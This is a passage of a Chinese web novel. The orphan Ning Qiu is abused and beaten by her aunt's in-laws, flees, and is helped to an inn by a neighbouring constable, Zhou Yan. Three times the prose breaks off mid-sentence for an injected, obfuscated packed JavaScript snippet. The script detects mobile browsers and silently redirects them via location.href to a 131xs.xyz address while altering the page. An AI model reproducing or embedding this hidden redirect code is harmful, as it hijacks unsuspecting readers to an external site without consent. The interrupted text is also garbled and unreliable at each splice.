秀云今年十一岁，五官端正，个头不高，皮肤有些黑，很瘦，看起来要比实际年龄小三四岁。 “表妹。”宁秋试探性唤道。 小姑娘似乎沉浸在自己的思绪中了。 宁秋与庞母争辩时，她没有反应，庞母牵着盛哥儿离开时，她依旧沉默，现在宁秋出声呼唤，她仍然盯着水井方向，双目无神，宛如一个失去灵魂的木偶，对任何东西都失去了感知。 “秀云表妹。”宁秋朝她走过去，眼神中满是担忧，关切问道：“秀云，你还好吗？” 秀云回过神，侧抬头对上宁秋关切的目光，小幅度摇了摇头。 “别想太多，表弟摔倒与你关系不大，莫要过于自责，你奶也是关心则乱说话重了些，没别的意思，你莫往心里去。” 宁秋试图安慰秀云，可是说出来的话连她自己都说服不了，又如何能安抚一颗深受其害的心？ 她嗫嚅着，忽而想起吊在水井中的猪肉，差不多到时间准备晚饭了。 想了想，她便对秀云道：“你娘出门前交代我做饭，午时上街转悠一圈，买了点猪肉和蔬菜，一会儿你也来帮忙吧！” “嗯。” 秀云听到有肉吃也不见高兴神色，如此反应，再看看她瘦削的身形，宁秋对庞家人的偏心程度又有了更深一层的认识。 她不再多言，爱怜地揉揉秀云的脑袋转身进了厨房。 秀云盯着水井静静看了一会儿，径直走过去，转动水井轱辘将装着猪肉的菜篮子拉上来，熟练地打水清洗。 她俩配合的很默契，洗菜切菜，淘米煮饭，烧火起锅，根本不用宁秋特意说，秀云通过观察她的动作就能衔接的很好，倒是省心了。 宁秋暗暗点头，继续专心干活。 随着时间一点一滴流逝，阵阵香味从厨房飘出去，飘到庞父庞母的屋子，勾出了盛哥儿体内的馋虫。 他循着香味蹬蹬蹬跑到窗户边，垫脚伸长脖子朝院子里瞅,“奶，什么味道好香啊！” “乖宝，没有香味啊，肯定是你闻错了。听奶的话，快点下来，爬窗户很危险，要是摔着可怎么好？” 庞母睁着眼睛说瞎话，半哄半抱将盛哥儿从凳子上抱下来，转身时特意瞥了厨房一眼，冷哼一声。 “我不嘛，我不嘛，我就要爬窗，我不要下来，你放开我，奶奶坏。” 盛哥儿今年五岁，自出生起就被家中四个长辈捧在手心，除了他爹偶尔骂两句，其他真是要什么给什么，小小年纪就养出刁蛮任性、自私妄为的性子。 这会儿闻着盈盈香气，肚子里的馋虫都闹腾开了，哪里还坐得住？ 他用力扭动胖乎乎的小身板，试图挣脱庞母的怀抱，两次挣扎不成就开始撒泼，嘴里一个劲干嚎，嚷嚷开，小手臂也不断挥舞，啪啪好几下打在庞母的手臂上，火辣辣的疼。 “哎呦，小祖宗，不愧是奶奶的乖孙子，力气可真大，都把奶奶的手臂打疼了，你要听话，乖点奶就给你拿糖吃。” 庞母心中有些恼火，舍不得凶宝贝孙子就将怒气全部转移到宁秋和秀云身上，心中暗道：“两个死丫头，惯会惹事，晚些一定要好好治一治她们，让她们知道这个家到底谁做主。” 盛哥儿闹起脾气就不管不顾，根本不是庞母能制住的，不到半刻钟，她便妥协松开了手，眼睁睁看着盛哥儿跑出屋子，只得嚷嚷着跟出去了。 厨房内，宁秋将刚刚焖好的酸菜五花肉盛进盘子里，继续烧油煎豆腐。 火候正好，锅里滋滋冒油，雪白的豆腐一下锅很快就煎至表皮金黄，随即葱段进锅，放一点点水，小焖片刻，新的香气就出来了。 “秀云，将菜端桌上去，再从橱柜摸两个鸡蛋出来打汤，汤盆也顺便拿过来吧！” 宁秋头也不回叮嘱一句，准备将锅里的小葱拌豆腐盛出来，身后突然传来一声惊呼，吓的她手一滑，菜盘子险些掉进锅里。 她稳了稳心神，回头看去，便见秀云一脸后怕高高举起手中的空汤盆，无措地看着地上撒泼的盛哥儿。 “哎呦，你个赔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547074|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱货要造反啊？要是砸到你弟弟，老婆子我非剥了你的皮不可。” 庞母腿脚不利索，追过来时只看到孙子躺地上，孙女高高举着汤盆似乎要往下砸，顿时着急不已，不问缘由，不论真假，先打秀云一巴掌，随即心疼地搂着孙子破口大骂。 秀云高举的手缓缓放下，另一只手捂着挨打的脸颊，眼泪不受控制大颗大颗滴落下来。 情况发生的太快太突然，根本不给人反应的时间。 宁秋目睹整个过程瞬间皱起眉头，只觉得眼前的庞母面目可憎，撒泼哭喊的盛哥儿也讨厌得很。 她三两步走过来，拨开秀云捂脸的手仔细看了看，嘴唇不自觉抿紧。 “走，烧火去，火要断了。” 宁秋没有跟庞母争论谁对谁错，也没有安慰秀云，只默默拉起秀云的手，让她离那祖孙俩远一些。 秀云没吭声也没反对，沉默着跟在宁秋身后，让她干嘛就干嘛。 至于心中如何想，就不得而知了。 一刻钟后，三菜一汤上齐了，宁秋洗锅去油，又添上一大锅水，让秀云加够柴火再洗手吃晚饭。 她俩里里外外忙活了整整一个时辰，终于将五个人的晚饭做好，然而等她俩回到餐桌旁，看到桌上七零八落的剩菜时，皆沉默了。 酸菜焖五花肉只剩下酸菜，小葱拌豆腐只剩稀拉两块豆腐一堆葱段，青菜倒是剩不少，鸡蛋水瓜汤里的料都被滤光，汤盆里只剩下汤水。 庞母吃饱喝足随意抬手抹去嘴巴上的油，顺手往衣服上擦了擦，不屑地看向宁秋，用吩咐丫鬟的口吻道：“饭菜做的不行，难吃，白瞎那些上好五花肉，时辰不早了，你们磨磨蹭蹭做什么，还不赶紧吃饭，吃完别忘了洗碗收拾，我们家可不养闲人，哼！” “难吃您就别吃啊，把好东西吃光一点不剩，吃完还挑起刺来了，庞奶奶，您家的规矩真是让我开了眼了。” 宁秋长这么大还是头一回对上如此厚颜无耻之人，着实气的不轻，也不管对方是不是长辈了，当即呛声怼回去，字字句句，没有要给庞奶奶留脸面的意思。 庞奶奶一听也不乐意了，叉腰大骂道：“好你个贱蹄子，吃喝我家的，睡我家的床，不感恩就算了，还没教养骂起长辈来，臭不要脸的，秀才公知道你如此不懂礼数吗？” “您老才叫不要脸，我就在家中住了一晚，今日干了一整天活，晚上的菜也是我贴钱买的，怎么就吃你家喝你家了？” 宁秋名义上是来做客，但是仅一日，啥活都干还贴钱买菜做晚饭，细算下来也有底气，根本不带怕的。 庞母没想那么多，现在听到宁秋有理有据的反驳，明显是自己不占理，心里更生气了。 “闭嘴闭嘴，不敬长辈的死丫头，看我不打死你。” 庞母左右看看，目标明确地奔向门口的扫把，操起来就打。 宁秋反应也很快，见势不对立马就跑，还边跑边大喊“打人了，打人了，庞家打客人了”，两人一追一逃，院子里鸡飞狗跳。 动静实在太大了，庞父担心邻居们说闲话赶忙追过去劝架，好说歹说，这二人才停歇。 “呸！你等着。” 庞母放下一句狠话，扫把一扔，气呼呼回了屋，庞父紧随其后。 盛哥儿本就是个不省事的，看到打架一个劲拍手叫好，笑得合不拢嘴，而秀云则抿紧嘴唇，担心地看向宁秋。 5. 极品 “表姐……”秀云嗫嚅着，最终还是什么也没说。 “无碍，你不必担心。” 经此一事，宁秋心里很清楚，庞家她住不久了。 只是她心有不甘，对亲情还存有幻想，想亲眼看看姑姑和姑父如何做，处事是否公允？ 实在不行，明日一早她就上街寻个客栈落脚，再抓紧时间找个包吃包住的活计。 至于糟心拎不清的亲人，不要也罢！ 只要无人打搅，避开算计，她一个人也能养好自己，让九泉之下的爹娘安心。 思及此，宁秋拍了拍秀云的肩膀，笑道：“小孩子家家想那么多做什么，先吃饭吧！再不吃就凉透了。” “可是......”秀云欲言又止。 “别可是了，你顾好自己就行。” 宁秋语气放松随意，好似并没有将方才的事放在心上，然而实际怎么样只有她自己心里清楚。 她并不是那种嚣张跋扈不讲理的姑娘，也不想得罪庞家人让姑姑为难，她尽可能忍耐却也明白忍耐过后等待她的是什么？ 这顿饭宁秋吃的很憋屈，越想心里越不痛快，脑海中不自觉浮现阿爹慈爱的笑脸，突然鼻头一酸，豆大的泪珠滴入碗里，混合着糙米红薯饭被她扒拉进口中。 她决定不等了。 趁着天还没黑上街问问客栈情况，先将落脚之处定下，等姑姑和姑父下工回来，再道别离开。 寄人篱下的日子，她一天也不想过了。 说干就干，草草解决晚饭，宁秋叮嘱秀云一声就出了门。 …… 平州是州府，比章回县大了不止一星半点，好在老槐巷地段不错，住的都是老平州人，随着州府发展扩建，已经从偏僻位置被动趋向城池中心。 宁秋不熟悉这里的环境，一路走一路问，将附近三家客栈的情况都咨询了一遍，最终选择距离老槐巷最近的那一家，名为福来客栈。 三家对比下来，无论是价格还是环境，福来客栈的性价比都是最高的。 她订了间中等房，二百文钱住一晚，斟酌再三，决定先付三天的银钱，三天后要不要继续住到时候再说。 从福来客栈出来，天色渐渐暗沉下来，宁秋感觉堵在心头的郁气散了不少，总算能看到未来的希望了。 她沿着记忆中的路线往老槐巷庞家走，临近巷口处，看见一道熟悉的高大身影，脚步飞快，转眼便消失在巷口。 “是住在对门的官爷。” 宁秋低声嘀咕，考虑到天黑独身走小巷不安全，她小跑着追上去，不远不近地跟着，直到周砚开门回家没了影，她才加快脚步。 听见外面一开一合的关门声，周砚紧皱的眉头彻底松开了。 他一进小巷便感觉身后有人跟踪，回头看时，却不见人影，还以为是什么法外狂徒胆大包天打上他的主意，没曾想是斜对门那个投亲姑娘。 也是，平州的治安一向不错，即便有一两个投机取巧想挣快钱的家伙，只要眼睛不瞎，都不可能选择身穿捕快制服的他。 是他多疑了。 “你杵门口干嘛？” 周母给儿子留了晚饭，看准时间提前热好，结果关门声都响许久了也不见人进厨房找吃的，“别在那磨磨蹭蹭，吃完我还得洗碗，哎哟，旁人家孩子成家立业都顺顺当当，不像你，催你成亲跟要你命似的，现在回来吃晚饭还得三催四请，太不让人省心了。” 周砚：“……” “行了行了，我也懒得说你，说多了又嫌我唠叨。” “娘，您若是累了就先休息，不用管我，我有手有脚，洗碗做饭都会，能照顾好自己。” 周砚很是无奈，同样的话不知道听过多少遍，耳朵都要起茧子了。 起初他还试图沟通，表达清楚自己的意思，最后发现无论自己怎么说，他娘都会将问题拐回成亲生子这件事上，仿佛那是她不得不完成的使命，谁也改变不了。 时间一长，他也变得佛系，懒得在这种事上浪费口水，都随缘吧！ “呐呐呐，被我说中了吧？” 周母就知儿子会是这种反应，当即苦口婆心道：“你也别怪娘唠叨，娘都是为了你好。娘年纪大了，没法陪你一辈子，你早点成亲，有媳妇孩子在身边，娘百年后也能放心了。” “娘，婚姻大事讲究个缘分，您着急也没用，与其忧心忡忡日日烦扰，不如放宽心，看开些，没准能多活几年，多陪我几年，您说是不是这个理？” 周砚的话字字句句都说到他娘的雷点上了，话音刚落，扫把就已经呼到身上。 他假意躲避，左闪右闪，没一下是真躲过去的。 周母心里门清，打了几下就停手，儿子皮糙肉厚没啥事，反倒惹得她自己心疼。 “你个臭小子，满肚子心眼全用到老娘身上了。” 周母瞪眼骂一句，气呼呼扔掉手中扫把，转身进屋。 “砰”的一声，屋门紧阖，隔绝内外，眼不见为净。 周砚心虚地摸了摸鼻子，往厨房去了。 庞家院中。 宁秋刚进门就对上好几道打量的视线，有愤怒，有埋怨，有担心。 她的目光一一略过眼前的六个人，最后定格在姑姑宁巧娘脸上，试图从她脸上看到自己期望中的反应，然而现实狠狠扇了她一巴掌，注定要失望了。 “你这孩子怎的如此不懂事，奶奶说你也是为了你好，乖乖听着，能改的就改，她还能害你不成？你倒好，干点活还巴巴说出来邀功，伶牙俐齿顶撞长辈，你爹的脸都要被你丢尽了。” 宁巧娘一副恨铁不成钢的模样，见到宁秋就忍不住一顿输出，话里话外全是埋怨和指责。 “还杵在那里做什么，赶紧过去给爷爷奶奶赔礼道歉，老人家一片好心反倒要受你的气，小时候挺乖巧一孩子，怎么越长大越不懂事了？” 宁巧娘边说边拉扯宁秋的手臂，余光还不忘观察丈夫和婆婆的脸色，动作越发急切起来。 宁秋没有防备突然被拉扯，脚步踉跄险些摔倒，也正是这一下，将她乱飘的思绪拉了回来，内心是前所未有的平静。 她猛地站定，重新夺回身体的掌控权，任凭宁巧娘如何拉扯也拉不动半步。 “姑姑。” 宁秋声音沉静，语气冷淡，“您不问问我方才去了哪里，有没有遇到危险和刁难吗？您对家中发生的事全然了解还是只听一面之词就下定论？到底是我不懂事，还是旁人得寸进尺，您心中是否有自己的判断？” “我......” 面对宁秋的三连问，宁巧娘哑口无言，下意识看向旁边脸色阴沉的庞桥。 宁秋了然，冷笑道：“我是您的侄女，您的娘家人，他们将我当奴婢使唤，其实就是不将您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547075|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当一回事，在他们心中，您就是个无关紧要的外人，有用时呼来喝去，在家伺候老小，在外还能赚银子补贴家用，哪日没了用处，弃如敝履便是结局，姑姑......” 啪！ 掌心贴肉发出的声音让小院有一瞬间的安静，随即便是宁巧娘发疯般的怒喊；“闭嘴，闭嘴，你闭嘴！” 宁巧娘大口大口喘着气，多年积压的情绪似乎在宁秋连番刺激下爆发了。 盛哥儿年纪还小，没见过这样的场景，吓得哇哇大哭，被庞母心疼的拥在怀中，哄了好半晌儿才哄好。 “你懂什么？秀才公的女儿走到哪里都受人维护，不愁吃不愁穿，哪里懂我们小老百姓的苦？早知你是这样的人，我就不该可怜你，将你留在家中，好好的日子都被你个搅家精搅乱了。” 宁秋闻言不可置信地瞪大双眼，不敢相信自己所听到的话。 没等宁秋反应过来，又听宁巧娘道：“盛哥儿和秀云都是我十月怀胎生下来的，作为母亲，我都疼爱。” “可是男孩和女孩本就不同，家里就盛哥儿一个男丁，还指望他传宗接代，延续老庞家的香火，长辈们偏疼一些很正常。秀云是姐姐，姐姐照顾弟弟天经地义，再者哪个姑娘不干活？不会干活的姑娘以后找不到好婆家，我们也是为她好。” 宁巧娘一边哭一边理直气壮叙说自己坚信不移的所谓道理，还把宁秋已故的阿爹牵扯出来了。 她继续哭道：“你那死鬼爹也是个没脑子的，读书读傻了，早就劝他续弦生个儿子他不听，非要守着闺女过日子，现在好了，两腿一蹬下地府，断了香火不说，辛辛苦苦攒下的家业便宜了外人。” 此话一出，院子里又是一静。 她不提还好，提到遗产，宁秋瞬间变了脸色，庞桥和庞母也陷入了沉思。 在无人注意的角度，母子俩微不可查地对视一眼，眼神中满是贪婪。 宁秋无论如何也想不到姑姑心中的真实想法竟然是这样的，早知如此，她绝不会提心吊胆往平州来，即便来了，也不会登这个门。 她此时还不知道到庞家人的打算，只本能感觉大事不妙，想要逃离此地。 努力稳定自己的情绪后，宁秋为了遮掩心中的慌乱，扯了扯嘴角，试图让自己的表情看起来更自然些。 她冷声道：“姑姑说笑了，无论是闺女还是儿子，都是自己的血脉，只要我活着一天，阿爹的香火就断不了，我们家的事我自会处理，不劳姑姑费心了。” 宁秋往秀云房间的方向挪动几步，警惕地观察庞家几人的反应，同时她心里很明白，有些事就得速战速决，果断一点。 “或许我们的想法都没有错，只是彼此间的认知和看法相差太多了，短短一日就闹成这样太伤亲戚间的情分，想来也不是姑姑姑父想看到的结果。昨晚和今日多谢姑姑姑父、爷爷奶奶的照顾，打扰了，方才出门我已经订好客栈，拿了包袱就离开，给诸位造成困扰我深感抱歉。” 宁秋说着深深鞠了一躬，秀气的面容染上笑意，像个没事人一样。 转身的瞬间，她沉了脸色，脚步匆匆进了秀云的屋，拿上自己的包袱又快速出来。 “天色已不早，姑姑姑父，爷爷奶奶，你们早点注意，我先离开了，过两日再来看你们。” 宁秋客客气气道别，却在门口被人拦下了。 “等一下！” 6. 挨打 “包袱里装了什么，让我看看，走的那么急，别不是顺走了我家的东西怕我们知道吧？” 庞母一双三角眼滴溜溜直转，动作出乎意料的迅速，没等宁秋反应，她的手已经伸向宁秋怀中的包袱，咬牙发狠地用力一扯，包袱差一点就被她抢走了。 “你干嘛？抢劫了，快来人啊，庞家人杀人了！” 宁秋死死护住自己的包袱，惊慌之下大喊大叫，试图用这样的方式吸引周围的邻居以达到保护自己的目的。 然而她高估了邻居们的反应力，低估了庞家人的不要脸，下一瞬，便被庞桥一脚踹翻在地，喊叫声戛然而止。 庞母见状立马蹒跚着步伐猛地压到宁秋的身上，啪啪就是两巴掌，宁秋下意识抬手护住头部，手一松，包袱就被兴冲冲地盛哥儿抢去了。 “小贱蹄子，瞎叫唤什么？你不是挺能的吗？来啊，继续啊！” 庞母年轻时也去码头扛过麻袋，身上有一把子力气，就是前几年伤过脚，走起路来不太利索。 她的跋扈是整个巷子里公认的，真不管不顾打起来，很多婆子小媳妇都打不过她，更别提宁秋一个未出阁的姑娘了。 要强了一辈子，丈夫儿子都顺着她，儿媳妇自不必说，现在一个黄毛丫头竟然也敢教训她，能忍才怪，得了机会，可不得狠狠还回去？ 宁秋过去十几年在父亲的庇护下日子虽然不富裕，但也没吃过多少苦。 短短半个多月里，她先是独自面对大伯二伯的无耻，无赖的骚扰，现在又因为沉不住气自以为是地插手了别家的因果，使得自己陷入退无可退的处境中。 缓和不了岌岌可危的关系，又无法逃离。 说到底，还是她太年轻，遇事太少，经验不足导致做人做事过于想当然，而忽略了其他人本身的主观性。 日子好与不好，身在其中的人最清楚不过了。 家人与外人该如何选？大家心中都有答案。 此时此刻，宁秋后悔不已。 明明早就下决定不会打扰姑姑太久，为什么不能忍一忍，将这两日糊弄过去，维持表面的和睦，找到活计就撤，别人家的事又与她何干呢？ 可惜她醒悟的太迟，世上没有后悔药。 宁秋左挡右挡，依旧免不得挨了好几下，终是强大的求生欲占了上风，她一声暴呵，纤细的身体爆出惊人的力量直接将庞母掀翻在地，局势反转，她扑过去哐哐捶了庞母两拳，理智迅速回笼，又立马起身朝门口跑去。 说时迟那时快。 她的手刚碰触到门把，头发就被人从后面扯住，整个人不受控制地后仰，尖叫一声，顺着扯头发的力道摔了出去。 一时间，她的脑子一片空白，同时也看清了抓她头发的人是谁。 “姑姑。” 宁秋低声呢喃，心彻底凉了。 这架还怎么打？ 一对一尚且有胜算，一对二挣扎一下也有逃跑的可能，现在连血脉最近的亲人都踩上一脚，大的小的，老的少的，皆虎视眈眈。 她就是块案板上的肉，面对好几个屠夫，除了任人宰割还有别的选择吗？ 就在她灰心丧气之时，大门被敲响，左邻右舍还以为庞桥又打媳妇，动静实在太大，他们担心出人命，便三三两两结伴过来准备劝架。 “桥哥儿，有话好好说，别冲动。” 宁秋听出来了，是王婆婆的声音。 “两口子过日子或多或少都会有摩擦，相互包容理解才能把日子过好，婶子活到这把岁数什么都懂一点，你们开开门，咱有事好好说行吗？” 庞桥大男子主义最讨厌别人插手他的事，别说他今晚没打宁巧娘，就是打了，也轮不到旁人说教。 不过心里如何想是一回事，实际行动又是另一回事。 他这人骨气不足，通常只敢窝里横，一旦有外人插手，即便不满也不吭声。 今晚亦然。 左邻右舍问上门，他心中烦躁不满也只能暂时忍着，盘算新的借口将事情忽悠过去。 “把她弄房间里，你亲自盯着，莫让她出来坏事。” 庞桥整了整衣服，恢复人模狗样，开门前还不忘威胁宁巧娘一句，那恶狠狠的眼神投过来，宁巧娘不由自主瑟缩了一下，怏怏地点了点头。 宁秋旁观夫妻俩的互动，冷嗤一声，嘲讽之意尽显。 别看宁巧娘在丈夫面前唯唯诺诺，一句话也不敢反驳，却是不怕侄女，当即就想将心中的气发到宁秋身上，可惜宁秋也不是吃素的，姑侄俩瞪着彼此，谁也不退让，最终还是宁巧娘先顶不住，高举的巴掌愣是轻轻放下了。 宁秋假意乖顺，半推半就地跟着宁巧娘往秀云的房间走，耳朵时刻关注身后的动静，大门一开吱呀作响，她双眸瞬间亮起，毫不犹豫地挣脱宁巧娘的手，咬牙朝门口冲去，大喊：“救命啊！救命啊！杀人夺财了。” 她头发凌乱，衣裳脏污，半边脸高高肿起，即便只有微弱的灯笼光线，也足够让门口的众人看清她现在的形象了。 惨兮兮，伤痕累累，早已不复昨日小白花模样，门口的邻居信不信还不确定，庞桥必定是气坏了。 “你这丫头说什么胡话？” 不愧是做管事的人，庞桥反应迅速，一个箭步挡在宁秋身前朝宁巧娘吼道：“孩子又发病了，赶紧将她领回去，若是发疯伤到人就麻烦了。” “哦哦……” 宁巧娘闻言立马冲上来拉宁秋，便见庞桥转瞬变脸，努力挤出一抹笑容对邻居们说道：“让你们见笑了，这孩子因为父亲突然离世受到大刺激，最近正在治疗，动静闹得有些大，还请大家伙多多包涵，我们尽量不让她打扰大家。” “桥哥儿，我看孩子也不像犯病啊！”王婆子伸长脖子往院子里头瞅，犹犹豫豫提出了质疑，“莫不是有什么误会？” 宁秋还在嚷嚷，拼尽全力想挣脱宁巧娘的桎梏，死活不愿意同她进屋。 “我没病，你们才有病。” 她的眼神充满了不甘和倔强，狠狠瞪着庞桥，当视线转移到其他人身上时，又多了恳求。 这边的动静实在太大了，周砚刚吃饱还没放下碗筷，就见他娘急哄哄小跑进来，催促道：“哎哟，别吃了，斜对门那家又搞事情，好好的小姑娘都被打成猪头脸了，你赶紧去看看，就穿这身行头，我就不信官差的身份摆出来还有人敢阻拦。” “快点快点，莫要耽搁。” 就这样，周砚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547076|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一头雾水，在周母又拉又扯的大幅度动作下来到庞家门口，目光穿过人群对上了姑娘倔强又不甘的眼眸，心头微怔，一时间竟忘了反应。 “让一让，让一让。” 周母没察觉到儿子不同寻常的反应，雄赳赳气昂昂拉着他进了庞家的门，瞬间化身正义使者。 她质问庞桥道：“你说人家小姑娘染了疯病？这不好好的吗？就算小姑娘真的生病了，你们作为长辈应该多点耐心好好照顾，怎的还动手将人打成这幅模样，太不像话了。” “王桂花，我们家的事还轮不到你管。”庞母当即反驳。 周母也不甘示弱，回怼道：“你们家的破事我也不想管，但你们打人就是不对，犯法了，我儿是官差，我管不得他来管，合法合规。” “你……”庞母一噎，看向周砚的目光瑟缩了一下。 双方争执的过程中，周砚发现宁秋还在与宁巧娘对抗，没等这边争出个所以然，便见宁秋猛地推开阻拦的宁巧娘，一下子跑掉了。 围在门口的邻居们一阵惊呼，正准备与周砚套近乎的庞桥也挺下了脚步。 宁秋速度实在太快了，大家伙来不及反应，眼睁睁看着姑娘踉踉跄跄的背影消失在漆黑的巷子里。 “跑了，大晚上的要不要追上去？” “不知道啊！姑娘家独身一人不安全，要不还是把人追回来吧！” “又不是咱们家的孩子，还是别管闲事为好。” 围观的邻居窃窃私语，说什么的都有，就是没有人因为担心宁秋而真正付出行动。 周砚眉头紧蹙，犹豫片刻还是拨开人群跟了出去。 周母与庞家人争辩一轮，一回头，发现自家儿子不知何时已经离开，喊了好几声也不回应，其他人纷纷打趣，都说他追着姑娘去了。 儿子不在她便没有与人争的底气，只得悻悻然回家了。 老槐巷的布局很简单，岔路就两三条，即便是新住户也不用担心会迷路。 周砚提着灯笼快步踩在青石砖地面，因光线照射范围有限，他迟迟看不到宁秋的身影，只能通过不远不近的脚步声来判断对方是否安全。 那脚步声越来越沉重，却没有丝毫要停下来的意思。 嗒嗒嗒，嗒嗒嗒。 周砚敏锐地发现，对方逃跑的速度会根据他的速度加快或变慢，稍加思索，他就想明白是什么情况了。 “姑娘莫怕，我就住你姑姑家斜对门，在府衙做捕快，昨日我们还见过。” 周砚声音低沉，缓缓道明自己的身份，话音刚落，前方的脚步声停顿两息，很快又响起来。 从声音判断，对方的情绪应该是平稳了。 他想了想，快走几步，终于看见前方摸黑前行的背影了。 “你别担心，除了我没其他人追上来，巷子太黑，姑娘不介意的话，想去哪里，我送你一程吧！” 周砚提着灯笼边说边加快脚步追上去，宁秋没有应声，却也没有像先前那样加快脚步逃离。 “不说话我就当你默认了。” 周砚刻意与宁秋保持一步距离，提着灯笼的手往前伸，光线发散，瞬间照亮了宁秋脚下的路，也在墙壁上映出一高一矮两个影子。 7. 找活 “巷子附近有间客栈，少东家和我有些交情，要不要我领你过去，今晚在那将就住一宿？” 周砚温声询问，侧低头看向身边的姑娘，迟迟得不到回答。 他也不着急，亦步亦趋跟在宁秋的身边，始终保持一步的距离，仿佛方才的询问只是破除尴尬的随口一问，有没有答案并不重要。 两人并肩而行，耳畔反复回响着彼此的脚步声，很均匀，很平稳，渐渐地，宁秋心中的紧张、害怕也被抚平了。 她用力抓了抓自己的衣摆，几度欲言又止，终是什么也没说出口。 倒不是她不想说，而是脸颊又红又肿，面部肌肉稍微动一下就疼的不行，实在有心无力啊！ “那个......嘶......” 不知过了多久，宁秋自以为做足了心理准备试图与周砚沟通，刚开口，就牵扯到伤处疼的倒吸一口凉气，被迫闭嘴了。 泪水瞬间盈满她的眼眶，将落未落，整个人都不好了。 不止是脸，她的身上也有不少地方隐隐作痛，特别是腿边藏银子的位置，打斗中摔过好几回，腿上肯定被硌青一大块了。 “怎么了？” 周砚听到吸气声下意识问一句。 “没......没事。”宁秋磕磕绊绊回话，缓了片刻，那股痛劲终于缓过去了，便继续道：“你说的客栈是叫福来客栈吗？我在那定了间房，直接去那吧！” “好。” 周砚剑眉一挑，惊诧于宁秋早有准备，却也没多问。 二人继续向前走，不到一刻钟时间就抵达福来客栈了。 现在是晚上，堂内冷冷清清，客栈只留两个小伙计轮值。 他们一见到周砚立马绽放笑颜，殷切地问道：“周爷，您怎么有空过来？少东家他不在这边，您要是找他得往裴府去。” 裴员外与朱员外是平州两富，排名不分前后，分别占据着平州大部分来钱门路，背后有靠山，许多商户都是依附他们两家而活。 裴少东家名唤裴华丰，每年五六月份都会出一趟远门，视察家中产业，他与周砚的相识缘于一场抢劫。 不走寻常路的大少爷路遇劫匪，得路过的前军爷拔刀相助，脱险后随便一聊，嘿，还是老乡呢！ 这等武力值就是外面的镖局也难找，心思活泛大少爷立马抛出橄榄枝，沉默寡言的周砚权衡之下同意了，就此多了个好友。 “我不找他，只是送个人过来入住。” 周砚一侧身露出一个浑身狼狈的姑娘，小伙计的脸色顿时一僵，“她在这定了房，劳烦你们带路，再准备一桶热水。” 客栈内光线充足，能清晰看见宁秋的惨样，面上的红肿更是令人不忍直视。 同行一路因为光线太暗以及身高差距的原因，周砚看到的只是宁秋一瘸一拐的背影还有凌乱的发顶，倒是没想到脸会伤的如此重。 察觉到小伙计们揣测不停的目光，周砚轻咳一声，一本正经解释道：“这是我表妹，她跟家里大吵一架跑来投亲，天太黑了，她看不清路，脚一滑直接掉沟里，正巧我路过顺手给捞上来了。” 宁秋：“？？？” 两个小伙计：“......” 理由实在太荒唐，周砚自己说出口都觉得尴尬，好在他平日里冷脸惯了，威严形象深入人心，两个小伙计半信半疑，没一会儿就在心中自动完成脑补，所有的不合理都找到了合理的解释。 只宁秋一人又羞又窘，全程低着头装死。 “姑娘家独身住客栈多有不便，今晚就劳烦二位看顾一二了，遇到解决不了的事情可以直接到家中寻我。” 周砚双手抱拳向两个小伙计拱了拱，对面的人赶忙回了一礼，恭敬笑道：“您说哪里话，不麻烦不麻烦，就算您不说，我们哥俩也会尽到自己的责任，东家每月按时发月银，我们要是干不好，多的是人抢着干，我们想偷懒都不敢，一不小心，活就被别人抢去了，哭都没地方哭。” 小伙计说话很幽默，此话一出，几人都忍不住笑起来。 待宁秋跟着小伙计上楼安置，周砚才转身离去。 走出客栈门，周砚站在门口犹豫了好一会儿，脑子里全是宁秋红肿的脸，突然理解他娘非要拉他过去时说的话了，可不就是肿成猪头了么？ 姑娘家都爱美，伤成这副模样恐怕好几天都不敢出门了。 周砚轻叹，面上已恢复严肃冷淡的神情，看不出什么，然而他心中的各种想法念头翻来覆去，终是不忍心抬脚朝平州主街走去。 半个时辰后，他去而复返，亲自将两瓶伤药送到宁秋的手中。 药瓶余温尚在，人已经走远了。 宁秋攥紧手中的药瓶，默默关上房间门，泪水划过她红肿的脸颊，洗刷着她孤苦无依的心。 她胡乱地抬起袖子往脸上一擦，奈何脸上的伤实在太疼了，一时没忍住嚎啕大哭起来，泪水越擦越多，最后她干脆不管了，爱咋样就咋样，疼痛也顾不上了。 哭声传出屋外，传到其他房间里，传到客栈大堂，被惊动的人越来越多。 楼下当值的小伙计听到声音第一时间上楼查看情况，循着声音来到宁秋门前，轻轻叩响，用无奈的口吻问道：“姑奶奶，您这是怎么了？这个时辰咱们家客人都快休息了，若没什么大事，你明日再哭可好？” 宁秋一听这话当即停止哭声，知道自己闯祸了，忙打开门，歉疚道：“对不起，给你们添麻烦了。” 